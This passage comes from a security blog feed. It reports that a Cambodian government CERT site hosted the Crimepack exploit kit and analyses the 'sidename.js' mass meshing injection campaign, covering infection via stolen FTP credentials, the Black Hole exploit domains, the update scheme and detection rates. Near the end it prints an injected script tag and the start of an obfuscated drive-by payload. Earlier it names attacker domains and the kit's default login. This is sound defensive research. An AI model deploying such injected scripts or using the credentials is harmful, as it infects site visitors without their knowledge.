href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0927"&gt;CVE-2009-0927&lt;/a&gt;, &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-2992"&gt;CVE-2008-2992&lt;/a&gt;, and &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3269"&gt;CVE-2009-3269&lt;/a&gt;.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;The compromised websites contained an injected piece of javascript that generated an iframe pointing to www.camcert.gov.kh:&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-uaE3JHiVtKA/ThAKLVSCCHI/AAAAAAAACTo/mPIC40Rpr6o/s1600/cambodia_cert_hacked2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-uaE3JHiVtKA/ThAKLVSCCHI/AAAAAAAACTo/mPIC40Rpr6o/s1600/cambodia_cert_hacked2.png" /&gt;&lt;/a&gt;&lt;/div&gt;The iframe generated was:&lt;br /&gt;&lt;pre class="brush: html; auto-links: false"&gt;http://www.camcert.gov.kh/userfiles/.cache/nolock/index.php&lt;br /&gt;&lt;/pre&gt;Crimepack was injected into the "nolock" directory under http://www.camcert.gov.kh/userfiles/.cache :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-0F2fwMXK37M/ThAMC3U8XDI/AAAAAAAACT4/rC8Lee1wBWg/s1600/cambodia_cert_hacked3.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/-0F2fwMXK37M/ThAMC3U8XDI/AAAAAAAACT4/rC8Lee1wBWg/s1600/cambodia_cert_hacked3.png" /&gt;&lt;/a&gt;&lt;/div&gt;And pointing one's browser to http://www.camcert.gov.kh/userfiles/.cache/nolock/control.php and using Crimepack's default username "crimepack" and an empty password logged us into Crimepack's UI, as shown on the first screenshot of this post.&lt;br /&gt;&lt;br /&gt;We quickly notified CamCERT, and a few hours later we received an email indicating that they have handled the matter.&lt;br /&gt;&lt;br /&gt;Here's &lt;a href="https://www.globalsign.com/blog/2011/07/malware-monitoring-and-detection-%E2%80%93-the-latest-hack-is-the-cambodia-government-cert/"&gt;GlobalSign's account of this incident.&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/505418663478597283-3558827062126454373?l=blog.armorize.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.armorize.com/feeds/3558827062126454373/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://blog.armorize.com/2011/07/cambodia-government-cert-website.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3558827062126454373'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/505418663478597283/posts/default/3558827062126454373'/><link rel='alternate' type='text/html' href='http://blog.armorize.com/2011/07/cambodia-government-cert-website.html' title='Cambodia Government CERT website serving malware'/><author><name>Wayne Huang</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/-GhECbqvc6YU/ThAKLaLw3xI/AAAAAAAACTw/fEsvdhuFqNE/s72-c/cambodia_cert_hacked_cropped.png' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-505418663478597283.post-5697980546446776506</id><published>2011-06-15T11:45:00.000-07:00</published><updated>2011-12-05T00:04:11.492-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Mass Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='Drive-by download'/><title type='text'>Mass Meshing Injection: sidename.js (now cssminibar.js) ongoing</title><content type='html'>(Credits: Wayne Huang, Chris Hsiao, NightCola Lin)&lt;br /&gt;(Thanks to Christian Frichot and David Taylor for providing additional info)&lt;br /&gt;(Original post: June 15th)&lt;br /&gt;(Updated: Jun 28th)&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-dwSZdxWpPNc/TfWOdmI-XKI/AAAAAAAACRc/RRhRx8hR1VM/s1600/mass_mesh_injection_sidename_js_2.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-dwSZdxWpPNc/TfWOdmI-XKI/AAAAAAAACRc/RRhRx8hR1VM/s1600/mass_mesh_injection_sidename_js_2.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;A quick summary:&lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td&gt;&lt;br /&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Lizamoon&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Sidename.js&lt;/b&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Type of attack&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Mass SQL Injection&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Mass Meshing Injection&lt;/b&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Victim criteria&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Victims have to be tricked into a) downloading a binary and b) executing the binary, in order to be infected.&lt;/td&gt;       &lt;td&gt;Victims visit the website and are infected without their knowledge, no clicking required (drive-by download)&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Number of infected sites&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Google: 5600&lt;br /&gt;Cisco: 1154&lt;br /&gt;Throughout 7 months&lt;/td&gt;       &lt;td&gt;20,000-30,000&lt;br /&gt;About two weeks&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Google blacklisting rate&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Don't know&lt;/td&gt;       &lt;td&gt;20%, made difficult due to mass meshing&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Blacklisting&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Easy, because most redirectors are maliciously registered, so they can be blacklisted forever&lt;/td&gt;       &lt;td&gt;Harder, because redirectors are infected but otherwise legitimate websites, and so they must be removed from blacklisting once cleaned..&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Injection method&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;SQL injection, error-prune, low success rate. Cannot delete what's been injected. Injections do not change&lt;/td&gt;       &lt;td&gt;FTP, total control of files on the website, that's why they can do meshing. Injected script changes often; replaced with new ones&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Injected content&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Same for all infected websites&lt;/td&gt;       &lt;td&gt;Different for every infected website&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Exploit domain&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;A few registered by the attacker&lt;/td&gt;       &lt;td&gt;Unlimited randomly generated co.cc domains&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;For update on infection estimation for followups, &lt;a href="http://twitter.com/waynehuang"&gt;follow me&lt;/a&gt; or &lt;a href="mailto:wayne@armorize.com"&gt;email me directly&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Contents:&lt;/b&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#1"&gt;1. Mass Meshing Injection Summary&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#2"&gt;2. Details on the sidename.js incident&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#2-1"&gt;3. Detection rates&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#3"&gt;4. Malicious scripts&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#4"&gt;5. Installed malware&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#5"&gt;6. List of 1200 infected websites&lt;/a&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;a name="1"&gt;&lt;b&gt;[1. Mass Meshing Injection Summary]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;We just realized that it's been more than three years since we first talked about Mass SQL Injections to the English media (&lt;a href="http://www.pcworld.com/businesscenter/article/146048/mass_sql_injection_attack_targets_chinese_web_sites.html"&gt;PC World&lt;/a&gt;, &lt;a href="http://www.infoworld.com/d/security-central/update-mass-sql-injection-attack-targets-chinese-web-sites-521"&gt;Info World&lt;/a&gt;, &lt;a href="http://www.betanews.com/article/Ten-thousand-servers-hit-in-SQL-injection-hack/1211228699"&gt;betanews&lt;/a&gt;). Time flies...&lt;br /&gt;&lt;br /&gt;When our HackAlert backend lights up like a Christmas tree we know something's going on. This time we want to report a new type of mass-scale drive-by download attack that we'll dub &lt;b&gt;"Mass Meshing Injection"&lt;/b&gt; to contrast with "Mass SQL Injection." We've been seeing it since mid January of this year and its usage has been on the rise. We believe it's been developed by CreateCSS group.&lt;br /&gt;&lt;br /&gt;Mass SQL Injections have been quite the same ever since our initial report in 2008. Basically, a mass-scale SQL injection is launched, injecting a large number of websites with a malicious script or iframe that would cause the browser to load from a malicious site, which can be a hop point to another malicious site, until finally, exploit code is loaded from the exploit site, the browser is exploited, and malware is installed &lt;b&gt;without the victim's knowledge.&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;We'll be using the recent &lt;a href="http://en.wikipedia.org/wiki/LizaMoon"&gt;lizamoon&lt;/a&gt; incident to compare the differences between Mass SQL Injections and Mass Mashing Injections. But first we must note here that lizamoon wasn't a typical Mass SQL Injection--it was less infectious than a typical Mass SQL Injection. Two reasons:&lt;br /&gt;&lt;br /&gt;A. Instead of injecting iframes or script srcs to have the browser "secretly" load the malicious content, lizamoon's javascript redirected the browser to the final malicious site, and therefore making it easier for visitors to notice the attack.&lt;br /&gt;&lt;br /&gt;B. Mass SQL Injections often serve (0day) drive-by downloads, which would &lt;b&gt;automatically&lt;/b&gt; install malware without user knowledge. Simply visiting an infected page would result in installation of malware. Instead, Lizamoon served Web-based fake anti-virus scripts, meaning that the user would have to be tricked into downloading the malware to disk and executing it. So instead of doing nothing, the victim has to first "Save As" and then "Run."&lt;br /&gt;&lt;br /&gt;Although it doesn't completely resemble a typical Mass SQL Injection attack, lizamoon attracted great attention recently, and therefore we decided to use it here for comparison.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-8gTlXHuxOTQ/TgkzahiqWTI/AAAAAAAACTE/PsGp5NXNqCM/s1600/sidename_cssminibar_4.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://4.bp.blogspot.com/-8gTlXHuxOTQ/TgkzahiqWTI/AAAAAAAACTE/PsGp5NXNqCM/s1600/sidename_cssminibar_4.png" border="0" width="750" /&gt;&lt;/a&gt;&lt;/div&gt;In Mass SQL Injections, scripts or iframes are injected into innocent victim sites, that cause the browser to load malicious content from the &lt;b&gt;"redirectors,"&lt;/b&gt; which are domains registered by the attacker. In lizamoon's case, there were only a dozen or more redirector domains, most of which were registered by the same person ("James Northone" jamesnorthone@hotmailbox.com) and hosted on the same network.&lt;br /&gt;&lt;br /&gt;These redirectors then redirected the browser to a single location, defender-uqko.in, which served the actual attacking javascript that tried to trick the user into downloading and executing the malware.&lt;br /&gt;&lt;br /&gt;This linking strategy, adopted by typical Mass SQL Injection attacks, is easy to detect. Security vendors can signature the dozen-or-so redirector domains. &lt;b&gt;The key here is that the redirector domains all belong to the attacker, and the number is small&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;So security vendors can simple blacklist these domains forever and not worry about false alarms when these redirector domains "become clean again"--because they won't.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-hqctscVJlLI/Tgk5z_3uc4I/AAAAAAAACTc/VwVJgUJ6azk/s1600/sidename_cssminibar_5.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-hqctscVJlLI/Tgk5z_3uc4I/AAAAAAAACTc/VwVJgUJ6azk/s1600/sidename_cssminibar_5.png" border="0" width="750px" /&gt;&lt;/a&gt;&lt;/div&gt;To defeat this, Mass Meshing Injection does the following:&lt;br /&gt;&lt;br /&gt;A. Every infected website contains a redirector script in the root directory; in this case it is sidename.js. This is an obfuscated script that will dynamically generate an iframe to the exploit server, in this case, frankieeus.ru, gaufridboris.ru, stephanos.ru, all hosted on the same IP 89.208.149.214. It runs the BlackHole exploit and serves drive-by downloads.&lt;br /&gt;&lt;br /&gt;B. Every infected website is injected, in their pages, with a &amp;lt;script src tag pointing to &lt;b&gt;another random&lt;/b&gt; infected website's sidename.js.&lt;br /&gt;&lt;br /&gt;And so the end result is, side the infected webpages, there is no more statically injected "malicious redirectors" that security vendors can detect. Every redirector is itself an infected domain, which means blacklisting becomes more difficult and prune to false alerts. Fortunately for this time, the name of the redirector file is still fixed--sidename.js--which can be signatured. If in the future this further changes to a dynamically generated name, detection will be made even more difficult. Details on this can be found in &lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#2-1"&gt;[3. Detection rates]&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-vf9Y0uAiubc/Tgk0jOY1cMI/AAAAAAAACTM/EDng6NHhT-s/s1600/sidename_cssminibar_old.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-vf9Y0uAiubc/Tgk0jOY1cMI/AAAAAAAACTM/EDng6NHhT-s/s1600/sidename_cssminibar_old.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a name="2"&gt;&lt;b&gt;[2. Details on the sidename.js incident]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;A. Mass Meshing Injection first appeared: Mid Jan, 2011&lt;br /&gt;&lt;br /&gt;B. Sidename.js (paired with wpcomplate.php) attack first appeared: June 7th, 2011&lt;br /&gt;(Note: Above date as detected by HackAlert, later we confirmed via victim's FTP logs:&lt;br /&gt;&lt;pre&gt;Tue Jun 07 17:22:33 2011 0 93.120.87.2 0 /home/___masked___/public_html/sidename.js&lt;/pre&gt;)&lt;br /&gt;Changed to cssminibar.js (paired with wpqonfig.php): June 19th, 2011&lt;br /&gt;&lt;pre&gt;Sun Jun 19 21:58:55 2011 0 84.247.61.24 0 /home/___masked___/public_html/cssminibar.js&lt;/pre&gt;C. Infection mechanism: Automated FTP via stolen credentials. Note that when we googled for mass SQL injected pages, the results we get are those that have &lt;b&gt;failed&lt;/b&gt; rather than succeeded. The injection failed, the injected script becomes a part of the pages' content, and indexed by Google. This sidename.js attack has been quite precise, so Google doesn't pick up much.&lt;br /&gt;&lt;br /&gt;D. Exploit: served by the Black Hole exploit pack.&lt;br /&gt;&lt;br /&gt;At first, running on several domains, including:&lt;br /&gt;&lt;br /&gt;  frankieeus.ru&lt;br /&gt;  gaufridboris.ru, and&lt;br /&gt;  stephanos.ru, which all points to the same IP 89.208.149.214, and also&lt;br /&gt;  bogdantevye.ru&lt;br /&gt;  jasoncmeyer.ce.ms&lt;br /&gt;  act1floral.ce.ms&lt;br /&gt;  jwjmusic.cx.cc&lt;br /&gt;  act1floral.ce.ms&lt;br /&gt;&lt;br /&gt;Afterwards, running on &lt;b&gt;RANDOMLY GENERATED&lt;/b&gt; co.cc domains.&lt;br /&gt;&lt;br /&gt;Script responsible for random co.cc domains is:&lt;br /&gt;&lt;pre&gt;http://klubnika34his.com/data/script.php&lt;/pre&gt;&lt;br /&gt;Every time this script is run, it generates a new, random co.cc domain:&lt;br /&gt;&lt;pre&gt;Start Mon, 20 Jun 2011 11:08:50 +0200http://nktnnkr.co.cc/showthread.php?t=51650812Работу закончил Mon, 20 Jun 2011 11:09:12 +0200&lt;/pre&gt;&lt;br /&gt;The above content is then used to generate the obfuscated script that is written to banner.txt to be subsequently loaded by wpcomplate.php (wpqonfig.php) and written to sidename.js (cssminibar.js).&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-fd7OKeg5rkc/Tgk167RfLxI/AAAAAAAACTU/23CiyZ6Jwo4/s1600/sidename_cssminibar_1.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://2.bp.blogspot.com/-fd7OKeg5rkc/Tgk167RfLxI/AAAAAAAACTU/23CiyZ6Jwo4/s1600/sidename_cssminibar_1.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;E. Update mechanism: Three update mechanisms have been continuously observed,&lt;br /&gt;&lt;br /&gt;  1. The injected &amp;lt;script src=&amp;gt; tag have been continuously changing, meaning, the mesh is dynamic, Site A scripts to site B one day, and to site C the next day. This also indicates that the attacker has an automated backdoor into the infected websites.&lt;br /&gt;&lt;br /&gt;  2. The sidename.js file itself keeps on changing. Every infected site contains a wpcomplate.php file, which copies content from klubnika34his.com/data/banner.txt.&lt;br /&gt;&lt;br /&gt;  3. Contents of banner.txt also changes every time script.php is run (as mentioned above). script.php dynamically generates a new, random co.cc domain and then updates banner.txt.&lt;br /&gt;&lt;br /&gt;The attacker runs a C++ Builder- or Delphi-based windows program that uses Indy components to trigger (via HTTP) wpcomplate.php (wpqonfig.php), which then retrieves the content of banner.txt and updates sidename.js (cssminibar.js).&lt;br /&gt;&lt;br /&gt;This URL documents the updates history:&lt;br /&gt;&lt;pre&gt;http://klubnika34his.com/data/time.txt&lt;/pre&gt;&lt;br /&gt;Excerpts of the content is as follows:&lt;br /&gt;&lt;pre&gt;Старт Wed, 15 Jun 2011 03:22:01 +0200 - Работу закончил Wed, 15 Jun 2011 03:22:23 +0200/nСтарт Wed, 15 Jun 2011 03:26:19 +0200 - Работу закончил Wed, 15 Jun 2011 03:26:41 +0200/nСтарт Wed, 15 Jun 2011 03:27:03 +0200 - Работу закончил Wed, 15 Jun 2011 03:27:25 +0200/nСтарт Wed, 15 Jun 2011 03:27:46 +0200 - Работу закончил Wed, 15 Jun 2011 03:28:09 +0200/nСтарт Wed, 15 Jun 2011 03:48:39 +0200 - Работу закончил Wed, 15 Jun 2011 03:49:02 +0200/nСтарт Wed, 15 Jun 2011 04:09:04 +0200 - Работу закончил Wed, 15 Jun 2011 04:09:27 +0200/nСтарт Wed, 15 Jun 2011 04:29:28 +0200 - Работу закончил Wed, 15 Jun 2011 04:29:50 +0200/nСтарт &lt;/pre&gt;&lt;br /&gt;&lt;a name="2-1"&gt;&lt;b&gt;[3. Detection rates]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;The following illustrates why Mass Meshing Infection makes detection more difficult. After typical Mass SQL Injections, each infected site is injected with a static URL (javascript src) to a malicious redirector. The number of URLs is small, and their domains are mostly registered by the attacker.&lt;br /&gt;&lt;br /&gt;After a Mass Meshing Injection, each site is injected with a static URL to a different infected website. Therefore the number of URL is equivalent to the number of infected sites, which is much larger. At the same time, domains of these URLs are legitimate, innocent, but infected domains, rather than those registered by an attacker, and therefore detection is harder.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-e214drZrDNc/TfhBAmfaZJI/AAAAAAAACSM/1X3GCrC13S4/s1600/mass_mesh_injection_sidename_js_8.png" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://3.bp.blogspot.com/-e214drZrDNc/TfhBAmfaZJI/AAAAAAAACSM/1X3GCrC13S4/s1600/mass_mesh_injection_sidename_js_8.png" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;Even if vendors do detect all these infected sites and add them to blacklist, the effort is greater, because usually when maliciously registered domains are added to blacklist, they stay there for a long time. But when innocent but infected domains are added to blacklists, care must be made to monitor and remove them from blacklisting quickly, and so as to not cause false alarms.&lt;br /&gt;&lt;br /&gt;What's interesting here though, is Website reputation services versus Antiviruses. Reputation services don't need to be that real-time, and therefore they can afford to blacklist a website for a longer time. And it's fair. You were injected, and so you are less trustworthy.&lt;br /&gt;&lt;br /&gt;For antiviruses, though, ideally when the website is fixed, they should be removed from the blacklisting. However, as mentioned above, this will require more effort.&lt;br /&gt;&lt;br /&gt;Another interesting note is a lot of infected sites of this "sidename.js" incident were &lt;b&gt;already&lt;/b&gt; blacklisted by many. This is because many of these websites tend to fall victim to attacks all the time, old and new. Many of this time's victims have malicious files named adv.php, facebook.php, counter.js, js.php, etc, which were left there as a result of previous compromises.&lt;br /&gt;&lt;br /&gt;For those URLs we listed in the &lt;a href="http://www.blogger.com/post-edit.g?blogID=505418663478597283&amp;amp;postID=5697980546446776506#5"&gt;[6. List of 1200 infected websites]&lt;/a&gt; section, Google flagged roughly 20% of all the sample URLs based on this sidename.js Mass Meshing Injection attack. Another 10% was either already blacklisted due to past attacks or recent ones, both of which had nothing to do with Mass Meshing Injection.&lt;br /&gt;&lt;br /&gt;And so using the 1200 URL samples and Google blacklisting as an example, &lt;b&gt;70% of the infected sites were not flagged, 20% were flagged due to Mass Meshing Injection (sidename.js), and another 10% was either already flagged a long time ago&lt;/b&gt;, or was flagged recently due to other compromises. (So this 10% of websites had multiple compromises)&lt;br /&gt;&lt;br /&gt;From a scan of Alexa's top one million sites, 125 have been infected. A reasonable estimation of the total number of infected sites would be 125 / 1M * 294M active websites (&lt;a href="http://news.netcraft.com/archives/2011/04/06/april-2011-web-server-survey.html"&gt;netcraft survey&lt;/a&gt;) = 36,625. Our initial estimate was between 20,000 to 30,000 sites, and so this number is close. Note that this is a solid list with the exact proof of the infection, and that the number is of individual &lt;b&gt;websites (domains)&lt;/b&gt; and not individual &lt;b&gt;pages&lt;/b&gt;. This is compared to the roughly &lt;b&gt;5,600 &lt;a href="http://en.wikipedia.org/wiki/LizaMoon"&gt;Lizamoon&lt;/a&gt; infections and the roughly 62,000 &lt;a href="http://en.wikipedia.org/wiki/Gumblar"&gt;Gumblar&lt;/a&gt; infections&lt;/b&gt;, both estimated by Google, and also the &lt;b&gt;1154 unique Lizamoon compromised websites&lt;/b&gt; as &lt;a href="http://blogs.cisco.com/security/lizamoon-much-ado-about-very-little/"&gt;seen by Cisco&lt;/a&gt; "throughout the entire seven month run of these (Lizamoon) SQL injection attacks. Quoted from &lt;a href="http://en.wikipedia.org/wiki/LizaMoon"&gt;Wikipedia regarding Lizamoon&lt;/a&gt;:&lt;br /&gt;&lt;br /&gt;"According to Niels Provos, a security researcher at Google, Google's safe browsing database indicates the Lizamoon attacks began around September 2010 and peaked in October 2010 with approximately 5600 infected sites." (&lt;a href="http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-Campaign-Compared.html"&gt;reference&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;"Cisco researcher Mary Landesman has confirmed that the infection rate appears quite low." (&lt;a href="http://blogs.cisco.com/security/lizamoon-much-ado-about-very-little/"&gt;reference&lt;/a&gt;)&lt;br /&gt;&lt;br /&gt;Below is an illustration given by Niels Provos in his above-mentioned &lt;a href="http://www.provos.org/index.php?/archives/92-Lizamoon-SQL-Injection-Campaign-Compared.html"&gt;article&lt;/a&gt;.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-seaWd-0i3W0/Tfi3o-ZneRI/AAAAAAAACSU/97k45RwEcbc/s1600/LizamoonCompared.jpg" imageanchor="1" style="margin-left:1em; margin-right:1em"&gt;&lt;img src="http://1.bp.blogspot.com/-seaWd-0i3W0/Tfi3o-ZneRI/AAAAAAAACSU/97k45RwEcbc/s1600/LizamoonCompared.jpg" border="0" width="750" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So again the quick summary:&lt;br /&gt;&lt;table border="1"&gt;&lt;tbody&gt;&lt;tr&gt;       &lt;td&gt;&lt;br /&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Lizamoon&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Sidename.js&lt;/b&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Type of attack&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Mass SQL Injection&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;&lt;b&gt;Mass Meshing Injection&lt;/b&gt;&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Victim criteria&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Victims have to be tricked into a) downloading a binary and b) executing the binary, in order to be infected.&lt;/td&gt;       &lt;td&gt;Victims visit the website and are infected without their knowledge, no clicking required (drive-by download)&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Number of infected sites&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Google: 5600&lt;br /&gt;Cisco: 1154&lt;br /&gt;Throughout 7 months&lt;/td&gt;       &lt;td&gt;20,000-30,000&lt;br /&gt;Will post exact estimation number soon&lt;br /&gt;June 7th to now, 8 days&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Google blacklisting rate&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Don't know&lt;/td&gt;       &lt;td&gt;20%, made difficult due to mass meshing&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Blacklisting&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Easy, because most redirectors are maliciously registered, so they can be blacklisted forever&lt;/td&gt;       &lt;td&gt;Harder, because redirectors are infected but otherwise legitimate websites, and so they must be removed from blacklisting once cleaned..&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Injection method&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;SQL injection, error-prune, low success rate. Cannot delete what's been injected. Injections do not change&lt;/td&gt;       &lt;td&gt;FTP, total control of files on the website, that's why they can do meshing. Injected script changes often; replaced with new ones&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Injected content&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Same for all infected websites&lt;/td&gt;       &lt;td&gt;Different for every infected website&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Injected content&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;Same for all infected websites&lt;/td&gt;       &lt;td&gt;Different for every infected website&lt;/td&gt;     &lt;/tr&gt;&lt;tr&gt;       &lt;td&gt;&lt;b&gt;Exploit domain&lt;/b&gt;&lt;/td&gt;       &lt;td&gt;A few registered by the attacker&lt;/td&gt;       &lt;td&gt;Unlimited randomly generated co.cc domains&lt;/td&gt;     &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;&lt;br /&gt;We hope to note here that the above writing is not to question the finding of Lizamoon. It's always difficult for the first party that identifies a threat, because time is limited and you must publish quickly in order for the report to be useful, and therefore it is very difficult to get all the numbers right. We know this drill very well. It's easier to come up with more accurate numbers post-mortum, when there's no time pressure.&lt;br /&gt;&lt;br /&gt;&lt;a name="3"&gt;&lt;b&gt;[4. Malicious scripts]&lt;/b&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For website admins, infected pages contain the following:&lt;br /&gt;&lt;pre class="brush: js; auto-links: false"&gt;&amp;lt;script type="text/javascript" src="http://cartrust.net/sidename.js"&amp;gt;&amp;lt;/script&amp;gt;&lt;/pre&gt;Where "cartrust.net" can be an arbitrary infected website.&lt;br /&gt;&lt;br /&gt;Two files are injected into the root foler: sidename.js and wpcomplate.php&lt;br /&gt;&lt;br /&gt;Sidename.js doesn't always generate an iframe to the exploit server. When it doesn't, it generates a hidden iframe to google. Following is its contents when it does attack:&lt;br /&gt;&lt;pre class="brush: js; auto-links: false"&gt;el=document.createElement("div");el.innerHTML="ReferenceErr";el.appendChild(document.createTextNode("q"));el.insertBefore(document.createTextNode("l"),el.childNodes[1]);try{try{throw 1}catch(a){b[2]=21};}catch(a){k=el.firstChild.nodeValue+a.toString().substr(0,0);};ar="Er(ufd31i.wam&amp;lt;)g [TsnBle]bcv?N9 